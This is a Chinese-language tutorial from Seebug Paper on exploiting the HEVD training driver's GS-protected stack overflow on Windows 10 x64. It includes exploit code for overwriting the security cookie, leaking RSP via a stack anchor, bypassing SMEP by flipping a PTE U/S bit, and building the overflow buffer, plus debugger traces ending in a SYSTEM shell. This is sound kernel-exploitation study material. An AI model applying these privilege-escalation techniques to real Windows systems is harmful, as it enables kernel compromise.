作者:zoemurmure
原文鏈接:https://mp.weixin.qq.com/s/d8Mac01ncK6_Xtf1piNE8Q
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

0. 前言

HackSys Extreme Vulnerable Driver (HEVD) 是出于學習內核的漏洞利用技巧而開發的具有多個漏洞的 Windows 驅動程序。本文介紹了 Windows 10 64 位環境下如何繞過帶有 /GS 保護措施的棧溢出漏洞,涉及 SMEP 和 /GS 兩個保護措施。文章中僅貼出部分代碼,完整代碼見:https://github.com/zoemurmure/HEVD-Exploit

1. 目標函數

TriggerBufferOverflowStackGS

__int64 __fastcall TriggerBufferOverflowStackGS(void *src, unsigned __int64 Size)
{
  char dst[512]; // [rsp+20h] [rbp-238h] BYREF

  memset(dst, 0, sizeof(dst));
  ProbeForRead(src, 0x200ui64, 1u);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", src);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", dst);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 512i64);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack (GS)\n");
  memmove(dst, src, Size);
  return 0i64;
}

2. 保護措施:/GS protection^[2]^

2.1 介紹

F5 生成的偽代碼和 StackOverflow 相同,但直接從匯編代碼看,可以看到函數的開頭和結尾多了兩端代碼:

PAGE:00000001400866E0 48 89 5C 24 18                mov     [rsp+arg_10], rbx
PAGE:00000001400866E5 56                            push    rsi
PAGE:00000001400866E6 57                            push    rdi
PAGE:00000001400866E7 41 54                         push    r12
PAGE:00000001400866E9 41 56                         push    r14
PAGE:00000001400866EB 41 57                         push    r15
PAGE:00000001400866ED 48 81 EC 30 02 00 00          sub     rsp, 230h
PAGE:00000001400866F4 48 8B 05 05 C9 F7 FF          mov     rax, cs:__security_cookie
PAGE:00000001400866FB 48 33 C4                      xor     rax, rsp
PAGE:00000001400866FE 48 89 84 24 20 02 00 00       mov     [rsp+258h+var_38], rax


PAGE:00000001400867D6
PAGE:00000001400867D6                               loc_1400867D6:
PAGE:00000001400867D6 8B C3                         mov     eax, ebx
PAGE:00000001400867D8 48 8B 8C 24 20 02 00 00       mov     rcx, [rsp+258h+var_38]
PAGE:00000001400867E0 48 33 CC                      xor     rcx, rsp        ; StackCookie
PAGE:00000001400867E3 E8 28 A9 F7 FF                call    __security_check_cookie
PAGE:00000001400867E8 48 8B 9C 24 70 02 00 00       mov     rbx, [rsp+258h+arg_10]
PAGE:00000001400867F0 48 81 C4 30 02 00 00          add     rsp, 230h
PAGE:00000001400867F7 41 5F                         pop     r15
PAGE:00000001400867F9 41 5E                         pop     r14
PAGE:00000001400867FB 41 5C                         pop     r12
PAGE:00000001400867FD 5F                            pop     rdi
PAGE:00000001400867FE 5E                            pop     rsi
PAGE:00000001400867FF C3                            retn

系統使用全局 securit_cookie 對 rsp 的數值進行異或并保存在了棧中,棧中數值的大致位置如下:

+-+-+-+-+-+-+-+-+-+-+-+-+
|       variables       |
+-+-+-+-+-+-+-+-+-+-+-+-+
| xored security_cookie |
+-+-+-+-+-+-+-+-+-+-+-+-+
|    saved registers    |
+-+-+-+-+-+-+-+-+-+-+-+-+
|    return address     |
+-+-+-+-+-+-+-+-+-+-+-+-+
| function's arguments  |
+-+-+-+-+-+-+-+-+-+-+-+-+

因此如果想要通過棧溢出的方式修改返回地址的數值,保存的 xored security_cookie 會首先被修改,導致無法通過 __security_check_cookie 的檢查。而 security_cookie 的數值會在每次使用時隨機生成,如果隨機算法沒有問題,攻擊者就沒有辦法預測出該數值,無法再通過之前的方法對棧溢出漏洞進行攻擊。

__security_check_cookie 的檢查會檢查兩個部分,首先是 xored security_cookie 再次和 RSP 異或之后是否和最初的 security_cookie 一致,其次是該數值的高16位是否是 0:

void __cdecl _security_check_cookie(uintptr_t StackCookie)
{
  __int64 v1; // rcx

  if ( StackCookie != _security_cookie )
ReportFailure:
    _report_gsfailure(StackCookie);
  v1 = __ROL8__(StackCookie, 16);
  if ( (_WORD)v1 )
  {
    StackCookie = __ROR8__(v1, 16);
    goto ReportFailure;
  }
}

通過在 IDA 中查找,發現 security_cookie 由函數 _security_init_cookie 生成,并最終保存在 .data 段的起始位置。

.data:0000000140003000   ; Segment permissions: Read/Write
.data:0000000140003000   _data           segment para public 'DATA' use64
.data:0000000140003000                   assume cs:_data
.data:0000000140003000                   ;org 140003000h
.data:0000000140003000   ; uintptr_t _security_cookie
.data:0000000140003000   __security_cookie dq 2B992DDFA232h      ; DATA XREF: __security_check_cookie↑r

2.2 繞過方法

1.SEH

在之前學習的普通程序棧溢出利用方法中,提到過利用 SEH 實現漏洞利用,通過修改 SEH 中的 exception handler 地址并觸發異常來控制程序的執行流程。但是這個方法在這里并不可行,因為這次的測試環境是 64 位系統,而只有 32 位系統的 SEH 信息保存在棧中,64 位系統的 SEH 信息保存在一個表中,表的地址保存在 PE 頭[3]。因此無法使用 SEH 進行漏洞利用。

2.security_cookie 數值猜測

我決定不在 Windows 10 上浪費這個時間了。

3.修改 .data 和 棧上存儲的 cookie 值

要做到這點,需要找到一個任意寫漏洞,而 HEVD 顯然是有這個漏洞的,就在 TriggerArbitraryWrite 函數中。除此之外,此次漏洞函數中還額外對 security_cookie 進行了一次棧頂的異或操作,因此還要獲取棧頂的數值,和下面的方法 5 類似。

4.覆蓋虛函數指針

條件:①函數參數中有對象或結構體的指針;②參數是放在棧上的。由于測試環境是 64 位系統,參數保存在寄存器中,因此不考慮。

5.讀取 cookie 數值并計算出 xored security_cookie 數值

需要一個任意讀漏洞讀取 cookie 的數值,以及想辦法獲取計算 xored security_cookie 時 RSP 寄存器的數值。文章[1]使用了這個方法,并且用了一個限制條件很嚴格的方法獲取到了 RSP 寄存器的數值。

此次學習過程會嘗試使用方法 3/5 實現漏洞利用,方法 5 在文章[1]中實現時使用了 HEVD 的任意寫漏洞實現任意讀來讀取 cookie 數值,這里在實現時直接按照方法 3,利用任意寫漏洞修改 .data 段的 cookie 數值,之后獲取 RSP 數值的方法參照文章[1]實現,但是進行了一些修改,修改原因見下面的詳細分析。目前還沒有找到其他在 X64 系統上繞過 /GS 的方法,如果有資料的話歡迎聯系我。

3. 保護措施:SMEP

3.1 介紹

https://mp.weixin.qq.com/s/F9Na71MkWxM-aGcTkj0I3A

3.2 繞過方法

如果系統開啟了 Hyper-V,Virtualization-Based Security(VBS) 中的 Hyper Guard 功能會阻止對于 CR4 寄存器的修改[5],導致修改 CR4 寄存器的方法無法實現漏洞利用。

文章[1]使用了一個新的繞過方法,修改 shellcode 所在頁的 PTE 結構[7]中的 U/S 字段,將其設置為 Supervisor 狀態,這樣 SMEP 的保護就不會生效。

4. 實現

4.1 需要實現的功能

  1. 修改 HEVD.SYS .data 段中保存的 security_cookie 數值;
  2. 修改 shellcode 所在頁 PTE 中的 U/S 字段數值;
  3. 獲取漏洞發生時的棧頂數值

4.2 整體流程

獲取 HEVD.sys 的基地址 → 獲取 HEVD.sys 的 .data 段地址 → 修改 .data 段的 cookie 值 →

為 shellcode 分配空間 → 獲取空間所在頁 PTE 地址 → 修改 PTE 的 U/S 字段 → 清空 TLB 緩存

內核棧空間地址泄露 → 設置棧空間錨點 → 搜索錨點 → RSP 計算

覆蓋棧溢出緩沖區

4.3 /GS 繞過 方法

這部分比較簡單,代碼如下,完整代碼見github:

ULONGLONG ChangeCookie() {
    /*
    通過重寫 .data 段中的 cookie 值來繞過 /BS 防御機制。
    返回值是覆蓋后的 cookie 值,方便在溢出時進行插入,并與其他繞過方法兼容。
    */
    // 獲得 HEVD 基址
    ULONGLONG hevdBaseAddr = GetDriverBase("HEVD.sys");
    if (hevdBaseAddr == 0) {
        printf("[-] Fatal: Error getting base address of HEVD.sys\n");
        return 0;
    }

    // 獲得 .data 段基址
    ULONGLONG dataBase = 0, dataSize = 0;
    GetSectionAddr(hevdBaseAddr, ".data", &dataBase, &dataSize);


    //DWORD hevdDataSecOffset = GetDataSectionOffset(hevdFilePath);
    if (dataBase == 0) {
        printf("[-] Fatal: Error getting data section offset\n");
        return 0;
    }
    //ULONGLONG hevdDataSection = hevdBaseAddr + hevdDataSecOffset;
    printf("[+] hevdDataSection is 0x%I64x\n", dataBase);

    // 修改 .data 段的 cookie 值
    ULONGLONG newCookie = 0x0000414141414141;
    BOOL status = WriteData(dataBase, newCookie);
    if (status == FALSE) {
        printf("[-] FATAL writing newCookie at hevd data section\n");
        return 0;
    }

    return newCookie;
}

4.3.2 獲取棧頂數值

首先利用 NtQuerySystemInformation 函數獲取當前進程的 PSYSTEM_EXTENDED_PROCESS_INFORMATION 信息,該信息中包含了進程中每個線程的 StackBase 和 StackLimit 信息,StackBase 表示棧的起始地址,StackLimit 表示棧范圍內可分配的最小地址,由于棧空間是向下分配的,因此 StackBase 的數值大于 StackLimit 的數值。該方法代碼基本來自參考鏈接[8]所在項目和參考鏈接[1],存在細節的修改。

代碼執行后得到StackBase = 0xffffed0993bb2000,StackLimit = 0xffffed0993bac000。

確定棧范圍之后,需要在該范圍內找到一個不變的常量作為錨點,然后以此錨點的地址為基址,確定發生異或時和棧頂之間的偏移。在參考鏈接[1]中,使用的錨點是 IOCTL_CODE,可以看一下系統執行到時 HEVD!TriggerBufferOverflowStackGS 時棧上的數據分布:

ffffed09`93bb1798 fffff800746866da HEVD!BufferOverflowStackGSIoctlHandler+0x1a 
ffffed09`93bb17a0 0000000000000010 
ffffed09`93bb17a8 0000000000050282 
ffffed09`93bb17b0 ffffed0993bb17c8 
ffffed09`93bb17b8 0000000000000018 
ffffed09`93bb17c0 0000000000000000 
ffffed09`93bb17c8 fffff80074685223 HEVD!IrpDeviceIoCtlHandler+0x1ab 
ffffed09`93bb17d0 ffffbc24a1f15c89 
ffffed09`93bb17d8 0000000000000000 
ffffed09`93bb17e0 fffff80074688300 HEVD! ?? ::NNGAKEGL::`string'
ffffed09`93bb17e8 0000000000222007 
ffffed09`93bb17f0 ffff880648758680 
ffffed09`93bb17f8 fffff800724316b5 nt!IofCallDriver+0x55

IOCTL_CODE 0000000000222007 確實位于棧上,而且這個數據是在執行 HEVD!IrpDeviceIoCtlHandler 的時候被放到棧上的,經過調試發現,該數值之所以出現在棧上,是因為在 HEVD!IrpDeviceIoCtlHandler 函數中調用 DbgPrintEx 函數的時候對上下文進行保存,對保存了 IOCTL_CODE 的寄存器也進行了保存。

當然實際用于錨點的并不是 0000000000222007,而是 000000000022200B,這是任意寫漏洞所在函數的 IOCTL_CODE,因為在搜索棧數據時,棧溢出漏洞所在函數并沒有被調用,所以它的控制碼是不會出現在棧上的,而為了搜索棧,需要調用任意寫漏洞所在函數,所以它的控制碼會出現在棧中,同時由于:

  • 只有我們的漏洞利用程序在使用 HEVD.sys 這個驅動,每次只觸發其中的一個 handler;

  • 不同 handler 的調用結構相似,都會在之前調用 DbgPrintEx

所以每次觸發不同 handler 之后棧中數據分布相同,而且都存在對應 handler 的 IOCTL_CODE。

但是我發現上面的條件實在是有些嚴苛,尤其是第二點,實際環境中無法保證 IOCTL_CODE 一定會被壓入棧中,因此我考慮使用一個更常見的錨點——返回地址。

通過查看函數調用棧可以發現,每次觸發驅動的 handler 函數時,一定會調用 nt!NtDeviceIoControlFile 函數,并且返回地址在 nt!NtDeviceIoControlFile+0x56

  • Q: 為什么沒有選擇距離更近的 nt!IofCallDriver 函數?

  • A: 因為需要在函數機器碼中搜索 call 指令來確定返回地址(沒有直接使用偏移量0x56),在 nt!IofCallDriver 中,call 指令機器碼 0xE8 之前還存在其他 0xE8,搜索不方便,因此選擇 nt!NtDeviceIoControlFile 函數。

這個返回地址可以在 exploit 中通過代碼獲得,同時我想即便在實際的漏洞環境中,通過增加執行次數、尋找時機等方式也能夠實現類似條件一的環境,因此使用返回地址作為錨點的方式通用性會好一些。

首先驗證此方法的可行性:

1: kd> g
Breakpoint 0 hit
HEVD!TriggerArbitraryWrite:
fffff800`74685e74 488bc4          mov     rax,rsp
0: kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff800`74685e6f     : ffffed09`92d337e8 00000000`00000001 00000000`00000000 fffff800`7280a621 : HEVD!TriggerArbitraryWrite 
01 fffff800`746851f3     : ffffbc24`a0997c89 00000000`00000000 fffff800`74688340 00000000`0022200b : HEVD!ArbitraryWriteIoctlHandler+0x17
02 fffff800`724316b5     : ffff8806`4609f780 00000000`00000002 00000000`00000001 ffff8806`469af190 : HEVD!IrpDeviceIoCtlHandler+0x17b
03 fffff800`7281d4c8     : ffffed09`92d33b80 ffff8806`4609f780 00000000`00000001 ffff8806`00000000 : nt!IofCallDriver+0x55
04 fffff800`7281d2c7     : ffff8806`00000000 ffffed09`92d33b80 00000000`00000000 ffffed09`92d33b80 : nt!IopSynchronousServiceTail+0x1a8
05 fffff800`7281c646     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc67
06 fffff800`72611ab5     : 00000000`000000a4 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
07 00007ffb`0196d1a4     : 00007ffa`ff01572b 00000000`00000000 00002032`98fecb16 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
08 00007ffa`ff01572b     : 00000000`00000000 00002032`98fecb16 00000000`00000000 00007ffb`018e6777 : 0x00007ffb`0196d1a4
09 00000000`00000000     : 00002032`98fecb16 00000000`00000000 00007ffb`018e6777 0000005c`ec6ff450 : 0x00007ffa`ff01572b
0: kd> s rsp L1000 46 c6 81 72 00 f8 ff ff
ffffed09`92d33a18  46 c6 81 72 00 f8 ff ff-00 00 00 00 00 00 00 00  F..r............

0: kd> g
Breakpoint 1 hit
HEVD!TriggerBufferOverflowStackGS:
fffff800`746866e0 48895c2418      mov     qword ptr [rsp+18h],rbx
2: kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff800`746866da     : 00000000`00000010 00000000`00050282 ffffed09`92d337c8 00000000`00000018 : HEVD!TriggerBufferOverflowStackGS [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 70] 
01 fffff800`74685223     : ffffbc24`a0997c89 00000000`00000000 fffff800`74688300 00000000`00222007 : HEVD!BufferOverflowStackGSIoctlHandler+0x1a [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 148] 
02 fffff800`724316b5     : ffff8806`44eca820 00000000`00000002 00000000`00000001 ffff8806`469b02c0 : HEVD!IrpDeviceIoCtlHandler+0x1ab [c:\projects\hevd\driver\hevd\hacksysextremevulnerabledriver.c @ 282] 
03 fffff800`7281d4c8     : ffffed09`92d33b80 ffff8806`44eca820 00000000`00000001 ffff8806`00000000 : nt!IofCallDriver+0x55
04 fffff800`7281d2c7     : ffff8806`00000000 ffffed09`92d33b80 00000000`00000000 ffffed09`92d33b80 : nt!IopSynchronousServiceTail+0x1a8
05 fffff800`7281c646     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc67
06 fffff800`72611ab5     : ffffed09`92d33b80 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
07 00007ffb`0196d1a4     : 00007ffa`ff01572b 00000000`00000000 00002032`98feca86 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
08 00007ffa`ff01572b     : 00000000`00000000 00002032`98feca86 00000000`00000000 00007ffb`018e6777 : 0x00007ffb`0196d1a4
09 00000000`00000000     : 00002032`98feca86 00000000`00000000 00007ffb`018e6777 0000005c`ec6ff4c0 : 0x00007ffa`ff01572b
2: kd> s rsp L1000 46 c6 81 72 00 f8 ff ff
ffffed09`92d33a18  46 c6 81 72 00 f8 ff ff-00 00 00 00 00 00 00 00  F..r............

3: kd> p
HEVD!TriggerBufferOverflowStackGS+0x1b:
fffff800`746866fb 4833c4          xor     rax,rsp
3: kd> r rsp
rsp=ffffed0992d33540

可以發現在觸發這兩個 handler 函數時,作為錨點的返回地址位于棧中的相同位置,而計算 xored_security_cookie 的棧頂地址為 ffffed0992d33540,和錨點的偏移是 0x4D8。因此只需要找到錨點,然后減去 0x4D8 就可以獲得 RSP 的數值了。

4.4 SMEP 繞過

4.4.1 如何獲得 PTE 地址

內核中存在一個 MiGetPteAddress 函數,輸入參數為虛擬地址,返回值是地址對應的 PTE 地址,該函數如下:

unsigned __int64 __fastcall MiGetPteAddress(unsigned __int64 va)
{
  return ((va >> 9) & 0x7FFFFFFFF8i64) + 0xFFFFF68000000000ui64;
}

注意其中的數值 0xFFFFF68000000000ui64,這就是 PTE 的基地址,但是由于隨機化的原因,這個地址在使用 Windbg 動態反編譯時就發生了改變:

3: kd> uf nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff805`05af5f10 48c1e909              shr     rcx,9
fffff805`05af5f14 48b8f8ffffff7f000000  mov rax,7FFFFFFFF8h
fffff805`05af5f1e 4823c8                and     rcx,rax
fffff805`05af5f21 48b80000000000a2ffff  mov rax,0FFFFA20000000000h
fffff805`05af5f2b 4803c1                add     rax,rcx
fffff805`05af5f2e c3                    ret

最好的方法是調用這個函數得到 PTE 地址,但是這并不是一個導出函數,因此需要想辦法獲取到 MiGetPteAddress 函數的地址,然后在偏移 0x13 的位置讀取到 PTE 的基地址,使用 MiGetPteAddress 函數中的計算方法得到 PTE 地址。

有兩種方法可以獲取到 MiGetPteAddress 函數的地址:

1.在內核代碼段搜索函數的 signature

我使用計算函數 signature 的方法在 ntoskrnl.exe 的 .text 段中進行搜索,signature 的計算方式沿用了參考資料[6]中的方法,但是在定位 .text 段時采用的不同的方式,原因可以看下面的知識點積累

2.在調用函數中搜索 call 指令

該方法來自參考資料[8],本來是用來搜索 HMValidateHandle 函數的地址,從而泄露內核地址,可以使用同樣的方法找到 MiGetPteAddress 函數的地址,在引用 MiGetPteAddress 的函數中找到導出函數 MmLockPreChargedPagedPool,這個函數很短,而且在進入函數不久就調用了 MiGetPteAddress

                               public MmLockPreChargedPagedPool
                               MmLockPreChargedPagedPool proc near
 48 83 EC 28                   sub     rsp, 28h
 4C 8B C1                      mov     r8, rcx
 E8 24 2D B7 FF                call    MiGetPteAddress
 48 8D 8A FF 0F 00 00          lea     rcx, [rdx+0FFFh]
 41 81 E0 FF 0F 00 00          and     r8d, 0FFFh
 49 03 C8                      add     rcx, r8
 41 B9 01 00 00 00             mov     r9d, 1
 48 C1 E9 0C                   shr     rcx, 0Ch
 48 8B D0                      mov     rdx, rax
 48 FF C9                      dec     rcx
 4C 8D 04 C8                   lea     r8, [rax+rcx*8]
 33 C9                         xor     ecx, ecx
 E8 A8 7E B4 FF                call    MiLockCode
 48 83 C4 28                   add     rsp, 28h
 C3                            retn

然后搜索機器碼 E8 就能獲得 MiGetPteAddress 的地址了。

4.4.2 修改 U/S 字段

X64 分頁機制 中介紹了 PTE 的結構如下:

| |   62:52   |          51:12          |          11:0         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|X|           |                         | | | | |P| | |P|P|U|R| |
|D|     i     |           PFN           |i|i|i|G|A|D|A|C|W|/|/|P|
| |           |                         | | | | |T| | |D|T|S|W| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

U/S 字段位于第 2 位,只需要與 0x4 進行異或就能實現 U/S 字段的修改。

BOOL ChangeUS(ULONGLONG pteAddr) {
    PULONGLONG pte = (PULONGLONG)VirtualAlloc(NULL, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pte == 0) {
        printf("[!] FATAL: Error allocating memeory for pte\n");
        return FALSE;
    }
    ReadData(pte, (PULONGLONG)pteAddr, 8);
    ULONGLONG pteValue = *pte;
    printf("[+] Pte for shellcode is 0x%I64x\n", pteValue);

    BOOL status = WriteData(pteAddr, pteValue ^ 0x4);

    VirtualFree(pte, 0, MEM_RELEASE);
    return status;
}

可以看到修改完 U/S 字段之后,PTE 中該字段標志變成了 K。

1: kd> !process  0 0 StackOverflowGS.exe
PROCESS ffff82018712a080
    SessionId: 1  Cid: 16f4    Peb: 5677005000  ParentCid: 1830
    DirBase: 6de97000  ObjectTable: ffffd20318965540  HandleCount:  46.
    Image: StackOverflowGS.exe
1: kd> .process /p ffff82018712a080
Implicit process is now ffff8201`8712a080
.cache forcedecodeuser done
1: kd> !pte 1c5733b0000
                                           VA 000001c5733b0000
PXE at FFFFF77BBDDEE018    PPE at FFFFF77BBDC038A8    PDE at FFFFF77B80715CC8    PTE at     FFFFF700E2B99D80
contains 0000000000000000
contains 0000000000000000
not valid
1: kd> !pte FFFFF700E2B99D80 1
                                           VA fffff700e2b99d80
PXE at FFFFF700E2B99D80    PPE at FFFFF700E2B99D80    PDE at FFFFF700E2B99D80    PTE at     FFFFF700E2B99D80
contains 0100000071227843  contains 0100000071227843  contains 0100000071227843  contains   0100000071227843
pfn 71227     ---D---KWEV  pfn 71227     ---D---KWEV  pfn 71227     ---D---KWEV  pfn 71227     ---D---KWEV

4.4.3 確定覆蓋緩沖區大小

因為在漏洞函數中目的緩沖區的大小有 512 字節,為了避免溢出導致崩潰機器重啟,先設置一個 0x100 的緩沖區,調試確定緩沖區起始地址和返回地址之間距離,以及 xored_security_cookie 存儲的位置。

3: kd> p
HEVD!TriggerBufferOverflowStackGS+0x3e:
fffff800`7468671e e8ddadf7ff      call    HEVD!memset (fffff800`74601500)
3: kd> r 
rax=ffffac48d2424401 rbx=0000000000000000 rcx=ffffed0993030560
rdx=0000000000000000 rsi=0000000000000100 rdi=00000036192ff5c0
rip=fffff8007468671e rsp=ffffed0993030540 rbp=ffff8806463fb1a0
 r8=0000000000000200  r9=000000000000004d r10=fffff80074685078
r11=ffffed09930307c8 r12=0000000000000200 r13=0000000000000000
r14=ffff8806463fb270 r15=ffff8806443d4a80
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
HEVD!TriggerBufferOverflowStackGS+0x3e:
fffff800`7468671e e8ddadf7ff      call    HEVD!memset (fffff800`74601500)

這里確定緩沖區的起始地址是 rcx=ffffed0993030560,大小是 r8=0000000000000200

1: kd> p
HEVD!TriggerBufferOverflowStackGS+0xf6:
fffff800`746867d6 8bc3            mov     eax,ebx
1: kd> p
HEVD!TriggerBufferOverflowStackGS+0xf8:
fffff800`746867d8 488b8c2420020000 mov     rcx,qword ptr [rsp+220h]
1: kd> ? rsp + 220h
Evaluate expression: -20849599772832 = ffffed09`93030760

這里確定 xored_security_cookie 保存在 ffffed0993030760

1: kd> p
HEVD!TriggerBufferOverflowStackGS+0x11f:
fffff800`746867ff c3              ret
1: kd> r rsp
rsp=ffffed0993030798

這里確定返回地址保存在 ffffed0993030798

由以上結果,確定 xored_security_cookie 偏移為 0x200,返回地址偏移為 0x238。

4.4.4 TLB 緩存清理

其實在沒有進行這一步之前,可能是因為我一直回退到干凈版本鏡像的原因,我的漏洞利用已經成功了,但是考慮到這個步驟在漏洞利用中比較通用,因此也學習一下,并把它加入到漏洞利用程序中。

TLB 緩存的問題很好解決,只需要通過 wbinvd 指令更新并禁用緩存。使用 RP++ 找到 gadget 地址:

0x380640: wbinvd ; ret ; \x0f\x09\xc3 (1 found)

最后的緩沖區結構為:

// Start to exploit
char buffer[0x248] = { 0 };
printf("[+] Preparing exploit buffer!\n");
memset(buffer, 0x41, sizeof(buffer));
// xored securty cookie
memcpy(&buffer[COOKIE_OFFSET], &xored_cookie, 8);
// return address
memcpy(&buffer[RTN_OFFSET], &wbinvdAddr, 8);
memcpy(&buffer[RTN_OFFSET+8], &shellcode, 8);

4.5 結果

PS C:\Users\patch\Desktop> C:\Users\patch\Desktop\StackOverflowGS.exe
[+] HEVD StackOverflowGS exploit
[+] Obtaining Driver Base Address!
[+] HEVD.sys is located at: 0xfffff80074600000
[+] Locating function!
[+] fileBase is 0xfffff80074600000
[+] elfanew is 0xd8
[+] numberOfSections is 0x7
[+] sizeOfOptionalHeader is 0xf0
[+] Found .text section, not .data, continue...
[+] Found .rdat section, not .data, continue...
[+] hevdDataSection is 0xfffff80074603000
[+] New cookie value is 0x414141414141!
[+] Found StackOverflowGS.exe
[+] StackBase is 0xffffed0992b0a000, StackLimit is 0x ffffed0992b04000
[+] Obtaining Driver Base Address!
[+] ntoskrnl.exe is located at: 0xfffff80072207000
[+] ntoskrnl.exe is 0x7ff7e9f80000
[+] NtDeviceIoControlFile is 0x7ff7ea5955f0
[+] Anchor is 0xfffff8007281c646
[+] AnchorAddr is ffffed0992b09a18
[+] RSP is ffffed0992b09540
[+] Creating shellcode.
[+] Shellcode allocated at: 0x0000023767260000
[+] Getting pte for shellcode.
[+] Obtaining Driver Base Address!
[+] ntoskrnl.exe is located at: 0xfffff80072207000
[+] Obtaining Driver Base Address!
[+] ntoskrnl.exe is located at: 0xfffff80072207000
[+] ntoskrnl.exe is 0x7ff7e9f80000
[+] MmLockPreChargedPagedPool is 0x7ff7ea6eb1e0
MiGetPteAddress from locatefun2 is fffff800724e4f10
[+] Rerutn from LocateFunc!
Reading data at fffff800724e4f23
[+] The base address of PTE is 0xfffffc0000000000
[+] Pte Address of shellcode is 0xfffffc011bb39300
[+] Changing U/S of pte.
[+] Pte for shellcode is 0x4006a867
[+] Preparing exploit buffer!
[+] Opening handle to \\.\HacksysExtremeVulnerableDriver

C:\>whoami
nt authority\system

5. 知識點積累

1.64 位系統的 SEH 處理機制;

2./GS 繞過方法;

3.任意寫漏洞也可以實現任意讀;

4.確定MiGetPteAddress 函數地址的方法,以及:

  • EnumDeviceDrivers 函數獲取的驅動地址是內核基地址,不能直接在代碼中讀取其內容,需要利用任意讀漏洞;使用 LoadLibraryA 得到的句柄值是將驅動加載到當前進程的內存空間中之后的基地址,可以直接在代碼中讀取其內容,但是此種方式得到的 PTE 基地址沒用。

  • 獲得代碼段地址時,通過 IMAGE_OPTIONAL_HEADER 獲取的代碼段基址實際上是 .rdata 的基址,如果從這里按順序讀取數據會訪問到不可訪問的地址,應該從 .text 的 IMAGE_SECTION_HEADER 處讀取偏移量和大小。

5.在 windbg 中使用 !pte 顯示某個虛擬地址的 pte 地址之前,需要先轉換到對應進程的上下文。

6.!pte 命令執行報錯 Levels not implemented for this platform

這個沒有找到好的解決辦法,我嘗試安裝了低版本的 WDK,當時問題解決了,但是過幾天再次嘗試時又失敗了。

7.cmp 和 test 匯編指令的區別(這個真的總是弄混)

8.TLB 緩存禁用的方法

6. 參考資料

  1. 分析文章

  2. Four different tricks to bypass StackShield and StackGuard protection

  3. Exceptional Behavior - x64 Structured Exception Handling

  4. Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR

  5. Windows 10 Mitigation Improvements

  6. TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL

  7. X64 分頁機制

  8. MValidateHandle 泄露內核地址


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2017/